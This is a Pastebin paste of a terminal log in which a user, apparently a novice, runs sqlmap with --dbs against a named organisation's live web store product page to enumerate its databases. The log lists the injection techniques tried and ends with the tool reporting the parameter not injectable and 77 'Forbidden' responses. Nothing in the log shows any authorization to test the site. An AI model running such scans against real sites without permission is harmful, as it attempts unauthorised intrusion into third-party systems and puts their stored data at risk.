Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- dzhenway@hacker-newbie:~/Downloads/sqlmap$ ./sqlmap.py -u http://www.casa-nashville.org/store/view_product.php?id=9 --dbs
- sqlmap/0.9 - automatic SQL injection and database takeover tool
- http://sqlmap.sourceforge.net
- [*] starting at: 06:21:50
- [06:21:51] [INFO] using '/home/dzhenway/Downloads/sqlmap/output/www.casa-nashville.org/session' as session file
- [06:21:54] [INFO] testing connection to the target url
- [06:22:21] [INFO] testing if the url is stable, wait a few seconds
- [06:22:51] [INFO] url is stable
- [06:22:51] [INFO] testing if GET parameter 'id' is dynamic
- [06:23:03] [WARNING] GET parameter 'id' is not dynamic
- [06:23:28] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
- [06:23:28] [INFO] testing sql injection on GET parameter 'id'
- [06:23:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [06:24:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
- [06:24:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
- [06:25:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
- parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
- [06:25:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
- [06:31:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
- [06:34:02] [WARNING] GET parameter 'id' is not injectable
- [06:34:02] [CRITICAL] all parameters are not injectable, try to increase --level/--risk values to perform more tests. Rerun without providing the --technique switch. Give it a go with the --text-only switch if the target page has a low percentage of textual content (~4.56% of page content is text)
- [06:34:02] [WARNING] HTTP error codes detected during testing:
- 403 (Forbidden) - 77 times
- [*] shutting down at: 06:34:02
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement